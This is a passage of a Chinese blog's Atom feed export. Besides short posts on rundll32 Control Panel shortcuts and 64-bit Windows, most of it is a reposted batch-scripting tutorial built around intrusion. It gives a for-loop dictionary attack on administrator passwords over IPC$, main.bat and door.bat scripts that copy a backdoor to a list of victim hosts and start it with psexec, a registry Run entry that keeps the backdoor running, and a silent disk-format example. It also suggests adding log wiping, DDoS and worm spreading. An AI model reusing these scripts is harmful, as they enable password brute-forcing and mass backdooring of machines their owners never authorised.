,3后，将调出［显示］属性/设置］ 窗口&lt;br /&gt;&lt;br /&gt;第二种：&lt;br /&gt;rundll32.exe shell32.dll,Control_RunDLL ---------------------------显示控制面板&lt;br /&gt;rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1----------显示辅助功能选项&lt;br /&gt;rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1－－---打开系统属性&lt;br /&gt;rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1－－----删除或添加程序&lt;br /&gt;rundll32.exe syncui.dll,Briefcase_Create－－－－----------------桌面上建立公文包&lt;br /&gt;rundll32.exe diskcopy.dll,DiskCopyRunDll－－－－---------------复制软盘驱动器&lt;br /&gt;rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0－－显示时间属性&lt;br /&gt;&lt;br /&gt;俨然第一种容易得多。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-6271316098865506455?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/6271316098865506455/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=6271316098865506455' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6271316098865506455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6271316098865506455'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/01/blog-post_21.html' title='命令行打开控制面板的两种方法'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-3599782318048028034</id><published>2008-01-02T23:13:00.000+08:00</published><updated>2008-01-02T23:19:33.104+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Misc'/><title type='text'>好冷。。。</title><content type='html'>hushlight:MS还开发过64位 Windows 2000呀，看来胎死腹中了&lt;br /&gt;鸦鸦：nod, MS里面估计有一堆堆的死婴。。&lt;br /&gt;&lt;br /&gt;真是好冷。。。&lt;br /&gt;&lt;br /&gt;说起来SQL server 2000倒是有64位版本，不过只支持安腾处理器，死贵死贵&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-3599782318048028034?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/3599782318048028034/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=3599782318048028034' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/3599782318048028034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/3599782318048028034'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/01/blog-post.html' title='好冷。。。'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-6285305631779817033</id><published>2007-12-25T12:39:00.000+08:00</published><updated>2007-12-25T12:40:37.228+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>bat命令大全zz</title><content type='html'>一.简单批处理内部命令简介&lt;br /&gt;1.Echo 命令&lt;br /&gt;打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。&lt;br /&gt;  语法&lt;br /&gt;echo [{on│off}] [message]&lt;br /&gt;Sample：@echo off / echo hello world&lt;br /&gt;在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。&lt;br /&gt;&lt;br /&gt;2.@ 命令&lt;br /&gt;表示不显示@ 后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦 。&lt;br /&gt;Sample：@echo off&lt;br /&gt;@echo Now initializing the program,please wait a minite...&lt;br /&gt;@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)&lt;br /&gt;&lt;br /&gt;3.Goto 命令&lt;br /&gt;指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。&lt;br /&gt;语法：goto label （label是参数，指定所要转向的批处理程序中的行。）&lt;br /&gt;Sample：&lt;br /&gt;if {%1}=={} goto noparms&lt;br /&gt;if {%2}=={} goto noparms（如果这里的if、%1、%2就是表示变量。）&lt;br /&gt;@Rem check parameters if null show usage&lt;br /&gt;:noparms&lt;br /&gt;echo Usage: monitor.bat ServerIP PortNumber&lt;br /&gt;goto end&lt;br /&gt;  标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签， : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识别的标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。&lt;br /&gt;&lt;br /&gt;4.Rem 命令&lt;br /&gt;注释命令，起一个注释的作用，便于别人阅读和你自己日后修改。&lt;br /&gt;Rem Message&lt;br /&gt;Sample：@Rem Here is the description.&lt;br /&gt;&lt;br /&gt;5.Pause 命令&lt;br /&gt;运行 Pause 命令时，将显示下面的消息：&lt;br /&gt;Press any key to continue . . .&lt;br /&gt;Sample：&lt;br /&gt;@echo off&lt;br /&gt;:begin&lt;br /&gt;copy a:*.* d： \back&lt;br /&gt;echo Please put a new disk into driver A&lt;br /&gt;pause&lt;br /&gt;goto begin&lt;br /&gt;在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。&lt;br /&gt;&lt;br /&gt;6.Call 命令&lt;br /&gt;从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。&lt;br /&gt;语法&lt;br /&gt;call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]&lt;br /&gt;参数&lt;br /&gt;[Drive:}[Path] FileName&lt;br /&gt;指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。&lt;br /&gt;&lt;br /&gt;7.start 命令&lt;br /&gt;调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。&lt;br /&gt;入侵常用参数：&lt;br /&gt;MIN 开始时窗口最小化&lt;br /&gt;SEPARATE 在分开的空间内开始 16 位 Windows 程序&lt;br /&gt;HIGH 在 HIGH 优先级类别开始应用程序&lt;br /&gt;REALTIME 在 REALTIME 优先级类别开始应用程序&lt;br /&gt;WAIT 启动应用程序并等候它结束&lt;br /&gt;parameters 这些为传送到命令/程序的参数&lt;br /&gt;执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。&lt;br /&gt;&lt;br /&gt;8.choice 命令&lt;br /&gt;choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为 1234......&lt;br /&gt;如 : choice /c:dme defrag,mem,end&lt;br /&gt;将显示&lt;br /&gt;defrag,mem,end[D,M,E]?&lt;br /&gt;Sample：&lt;br /&gt;Sample.bat的内容如下 :&lt;br /&gt;@echo off&lt;br /&gt;choice /c:dme defrag,mem,end&lt;br /&gt;if errorlevel 3 goto defrag （应先判断数值最高的错误码）&lt;br /&gt;if errorlevel 2 goto mem&lt;br /&gt;if errotlevel 1 goto end&lt;br /&gt;&lt;br /&gt;:defrag&lt;br /&gt;c:\dos\defrag&lt;br /&gt;goto end&lt;br /&gt;:mem&lt;br /&gt;mem&lt;br /&gt;goto end&lt;br /&gt;:end&lt;br /&gt;echo good bye&lt;br /&gt;&lt;br /&gt;此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。&lt;br /&gt;&lt;br /&gt;9.If 命令&lt;br /&gt;&lt;br /&gt;if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式 :&lt;br /&gt;a、if "参数" == "字符串" 　待执行的命令&lt;br /&gt;参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）&lt;br /&gt;如 if "%1"=="a" format a:&lt;br /&gt;if {%1}=={} goto noparms&lt;br /&gt;if {%2}=={} goto noparms&lt;br /&gt;&lt;br /&gt;b 、if exist 文件名　 待执行的命令&lt;br /&gt;如果有指定的文件，则条件成立，运行命令，否则运行下一句。&lt;br /&gt;如if exist config.sys edit config.sys&lt;br /&gt;&lt;br /&gt;c 、if errorlevel / if not errorlevel 数字　待执行的命令&lt;br /&gt;如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。&lt;br /&gt;如if errorlevel 2 goto x2 　&lt;br /&gt;DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。&lt;br /&gt;&lt;br /&gt;10.for 命令&lt;br /&gt;for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。&lt;br /&gt;在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable&lt;br /&gt;&lt;br /&gt;for {%variable│%%variable} in (set) do command [ CommandLineOptions]&lt;br /&gt;%variable 指定一个单一字母可替换的参数。&lt;br /&gt;(set) 指定一个或一组文件。可以使用通配符。&lt;br /&gt;command 指定对每个文件执行的命令。&lt;br /&gt;command-parameters 为特定命令指定参数或命令行开关。&lt;br /&gt;在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable&lt;br /&gt;而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I&lt;br /&gt;&lt;br /&gt;如果命令扩展名被启用，下列额外的 FOR 命令格式会受到 支持:&lt;br /&gt;&lt;br /&gt;FOR /D %variable IN (set) DO command [command-parameters]&lt;br /&gt;&lt;br /&gt;如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。&lt;br /&gt;&lt;br /&gt;FOR /R [[drive:]path] %variable IN (set) DO command [command-&lt;br /&gt;&lt;br /&gt;检查以 [drive:]path 为根的目录树，指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录，则使用当前 目录。如果集仅为一个单点(.)字符，则枚举该目录树。&lt;br /&gt;&lt;br /&gt;FOR /L %variable IN (start,step,end) DO command [command-para&lt;br /&gt;&lt;br /&gt;该集表示以增量形式从开始到结束的一个数字序列。因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生 序列 (5 4 3 2 1)。&lt;br /&gt;&lt;br /&gt;FOR /F ["options"] %variable IN (file-set) DO command&lt;br /&gt;FOR /F ["options"] %variable IN ("string") DO command&lt;br /&gt;FOR /F ["options"] %variable IN ('command') DO command&lt;br /&gt;&lt;br /&gt;或者，如果有 usebackq 选项:&lt;br /&gt;&lt;br /&gt;FOR /F ["options"] %variable IN (file-set) DO command&lt;br /&gt;FOR /F ["options"] %variable IN ("string") DO command&lt;br /&gt;FOR /F ["options"] %variable IN ('command') DO command&lt;br /&gt;&lt;br /&gt;filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前，每份文件都已被打开、读取并经过处理。 处理包括读取文件，将其分成一行行的文字，然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:&lt;br /&gt;&lt;br /&gt;eol=c - 指一个行注释字符的结尾(就一个 )&lt;br /&gt;skip=n - 指在文件开始时忽略的行数。&lt;br /&gt;delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。&lt;br /&gt;tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号， 那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。&lt;br /&gt;usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。&lt;br /&gt;sample1:&lt;br /&gt;FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command&lt;br /&gt;&lt;br /&gt;会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将 每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。&lt;br /&gt;&lt;br /&gt;%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中。&lt;br /&gt;&lt;br /&gt;您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。&lt;br /&gt;&lt;br /&gt;最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子:&lt;br /&gt;&lt;br /&gt;FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i&lt;br /&gt;&lt;br /&gt;会枚举当前环境中的环境变量名称。另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:&lt;br /&gt;&lt;br /&gt;~I - 删除任何引号(")，扩充 %I&lt;br /&gt;%~fI - 将 %I 扩充到一个完全合格的路径名&lt;br /&gt;%~dI - 仅将 %I 扩充到一个驱动器号&lt;br /&gt;%~pI - 仅将 %I 扩充到一个路径&lt;br /&gt;%~nI - 仅将 %I 扩充到一个文件名&lt;br /&gt;%~xI - 仅将 %I 扩充到一个文件扩展名&lt;br /&gt;%~sI - 扩充的路径只含有短名&lt;br /&gt;%~aI - 将 %I 扩充到文件的文件属性&lt;br /&gt;%~tI - 将 %I 扩充到文件的日期/时间&lt;br /&gt;%~zI - 将 %I 扩充到文件的大小&lt;br /&gt;%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串&lt;br /&gt;&lt;br /&gt;可以组合修饰符来得到多重结果:&lt;br /&gt;&lt;br /&gt;%~dpI - 仅将 %I 扩充到一个驱动器号和路径&lt;br /&gt;%~nxI - 仅将 %I 扩充到一个文件名和扩展名&lt;br /&gt;%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名&lt;br /&gt;%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。&lt;br /&gt;%~ftzaI - 将 %I 扩充到类似输出线路的 DIR&lt;br /&gt;&lt;br /&gt;在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。&lt;br /&gt;&lt;br /&gt;以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。&lt;br /&gt;&lt;br /&gt;sample2 ：&lt;br /&gt;&lt;br /&gt;利用For命令来实现对一台目标Win2k主机的暴力密码破解。&lt;br /&gt;我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。&lt;br /&gt;最主要的命令是一条： for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"&lt;br /&gt;用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－&lt;br /&gt;for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ": 命令成功完成"&gt;&gt;D:\ok.txt ，这样就ko了。&lt;br /&gt;&lt;br /&gt;sample3 ：&lt;br /&gt;&lt;br /&gt;你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。&lt;br /&gt;&lt;br /&gt;主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）&lt;br /&gt;@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k&lt;br /&gt;tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。&lt;br /&gt;而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。&lt;br /&gt;delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。&lt;br /&gt;代码雏形：&lt;br /&gt;--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------&lt;br /&gt;@echo off&lt;br /&gt;@if "%1"=="" goto usage&lt;br /&gt;@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k&lt;br /&gt;@goto end&lt;br /&gt;:usage&lt;br /&gt;@echo run this batch in dos modle.or just double-click it.&lt;br /&gt;:end&lt;br /&gt;--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------&lt;br /&gt;&lt;br /&gt;------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------&lt;br /&gt;@net use \\%1\ipc$ %3 /u:"%2"&lt;br /&gt;@if errorlevel 1 goto failed&lt;br /&gt;@echo Trying to establish the IPC$ connection ............OK&lt;br /&gt;@copy windrv32.exe\\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt&lt;br /&gt;@p*** ec \\%1 c:\winnt\system32\windrv32.exe&lt;br /&gt;@p*** ec \\%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt&lt;br /&gt;:failed&lt;br /&gt;@echo Sorry can not connected to the victim.&lt;br /&gt;----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------&lt;br /&gt;这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容&lt;br /&gt;尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.&lt;br /&gt;&lt;br /&gt;二.如何在批处理文件中使用参数&lt;br /&gt;批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。&lt;br /&gt;sample1： fomat.bat&lt;br /&gt;@echo off&lt;br /&gt;if "%1"=="a" format a:&lt;br /&gt;:format&lt;br /&gt;@format a:/q/u/auotset&lt;br /&gt;@echo please insert another disk to driver A.&lt;br /&gt;@pause&lt;br /&gt;@goto fomat&lt;br /&gt;这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～&lt;br /&gt;sample2：&lt;br /&gt;当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。&lt;br /&gt;@echo off&lt;br /&gt;@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。&lt;br /&gt;@if errorlevel 1 echo connection failed&lt;br /&gt;怎么样,使用参数还是比较简单的吧？你这么帅一定学会了 .No.3&lt;br /&gt;三.如何使用组合命令(Compound Command)&lt;br /&gt;&lt;br /&gt;1.&amp;&lt;br /&gt;&lt;br /&gt;Usage ：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...]&lt;br /&gt;&lt;br /&gt;用这种方法可以同时执行多条命令，而不管命令是否执行成功&lt;br /&gt;&lt;br /&gt;Sample ：&lt;br /&gt;C:\&gt;dir z: &amp; dir c:\Ex4rch&lt;br /&gt;The system cannot find the path specified.&lt;br /&gt;Volume in drive C has no label.&lt;br /&gt;Volume Serial Number is 0078-59FB&lt;br /&gt;&lt;br /&gt;Directory of c:\Ex4rch&lt;br /&gt;&lt;br /&gt;2002-05-14 23:51 .&lt;br /&gt;2002-05-14 23:51 ..&lt;br /&gt;2002-05-14 23:51 14 sometips.gif&lt;br /&gt;&lt;br /&gt;2.&amp;&amp;&lt;br /&gt;&lt;br /&gt;Usage ：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...]&lt;br /&gt;&lt;br /&gt;用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；&lt;br /&gt;&lt;br /&gt;Sample ：&lt;br /&gt;C:\&gt;dir z: &amp;&amp; dir c:\Ex4rch&lt;br /&gt;The system cannot find the path specified.&lt;br /&gt;&lt;br /&gt;C:\&gt;dir c:\Ex4rch &amp;&amp; dir z:&lt;br /&gt;Volume in drive C has no label.&lt;br /&gt;Volume Serial Number is 0078-59FB&lt;br /&gt;&lt;br /&gt;Directory of c:\Ex4rch&lt;br /&gt;&lt;br /&gt;2002-05-14 23:55 .&lt;br /&gt;2002-05-14 23:55 ..&lt;br /&gt;2002-05-14 23:55 14 sometips.gif&lt;br /&gt;1 File(s) 14 bytes&lt;br /&gt;2 Dir(s) 768,671,744 bytes free&lt;br /&gt;The system cannot find the path specified.&lt;br /&gt;&lt;br /&gt;在做备份的时候可能会用到这种命令会比较简单，如：&lt;br /&gt;dir file&amp;://192.168.0.1/database/backup.mdb &amp;&amp; copy file&amp;://192.168.0.1/database/backup.mdb E:\backup&lt;br /&gt;如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）&lt;br /&gt;&lt;br /&gt;3.││&lt;br /&gt;&lt;br /&gt;Usage ：第一条命令 ││ 第二条命令 [││ 第三条命令...]&lt;br /&gt;&lt;br /&gt;用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；&lt;br /&gt;&lt;br /&gt;Sample ：&lt;br /&gt;C:\Ex4rch&gt;dir sometips.gif ││ del sometips.gif&lt;br /&gt;Volume in drive C has no label.&lt;br /&gt;Volume Serial Number is 0078-59FB&lt;br /&gt;&lt;br /&gt;Directory of C:\Ex4rch&lt;br /&gt;&lt;br /&gt;2002-05-14 23:55 14 sometips.gif&lt;br /&gt;1 File(s) 14 bytes&lt;br /&gt;0 Dir(s) 768,696,320 bytes free&lt;br /&gt;&lt;br /&gt;组合命令使用的例子：&lt;br /&gt;sample：&lt;br /&gt;@copy trojan.exe \\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt&lt;br /&gt;&lt;br /&gt;四、管道命令的使用&lt;br /&gt;&lt;br /&gt;1.│ 命令&lt;br /&gt;Usage：第一条命令 │ 第二条命令 [│ 第三条命令 ...]&lt;br /&gt;将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。&lt;br /&gt;&lt;br /&gt;sample ：&lt;br /&gt;time /t&gt;&gt;D:\IP.log&lt;br /&gt;netstat -n -p tcp│find ":3389"&gt;&gt;D:\IP.log&lt;br /&gt;start Explorer&lt;br /&gt;看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。&lt;br /&gt;&lt;br /&gt;2.&gt; 、&gt;&gt;输出重定向命令&lt;br /&gt;将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。&lt;br /&gt;&lt;br /&gt;sample1 ：&lt;br /&gt;echo hello world&gt;c:\hello.txt (stupid example?)&lt;br /&gt;&lt;br /&gt;sample2:&lt;br /&gt;时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：&lt;br /&gt;运行CMD--转换目录到 system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt,&lt;br /&gt;这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中 ,&lt;br /&gt;日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了 .&lt;br /&gt;这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行 :&lt;br /&gt;CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。&lt;br /&gt;&lt;br /&gt;3.&lt; 、&gt;&amp; 、 &lt;&amp;&lt;br /&gt;&lt; 从文件中而不是从键盘中读入命令输入。&lt;br /&gt;&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。&lt;br /&gt;&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。&lt;br /&gt;这些并不常用，也就不多做介绍。&lt;br /&gt;&lt;br /&gt;No.5&lt;br /&gt;五.如何用批处理文件来操作注册表&lt;br /&gt;&lt;br /&gt;在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件 )&lt;br /&gt;关于注册表的操作，常见的是创建、修改、删除。&lt;br /&gt;&lt;br /&gt;1. 创建&lt;br /&gt;创建分为两种，一种是创建子项(Subkey)&lt;br /&gt;&lt;br /&gt;我们创建一个文件，内容如下：&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]&lt;br /&gt;&lt;br /&gt;然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。&lt;br /&gt;&lt;br /&gt;另一种是创建一个项目名称&lt;br /&gt;那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;"Invader"="Ex4rch"&lt;br /&gt;"Door"=C:\\WINNT\\system32\\door.exe&lt;br /&gt;"Autodos"=dword:02&lt;br /&gt;&lt;br /&gt;这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下&lt;br /&gt;新建了:Invader、door、about这三个项目&lt;br /&gt;Invader的类型是 "String value"&lt;br /&gt;door的类型是 "REG SZ value"&lt;br /&gt;Autodos的类型是"DWORD value"&lt;br /&gt;&lt;br /&gt;2. 修改&lt;br /&gt;修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。&lt;br /&gt;&lt;br /&gt;3. 删除&lt;br /&gt;我们首先来说说删除一个项目名称，我们创建一个如下的文件：&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;"Ex4rch"=-&lt;br /&gt;&lt;br /&gt;执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了；&lt;br /&gt;&lt;br 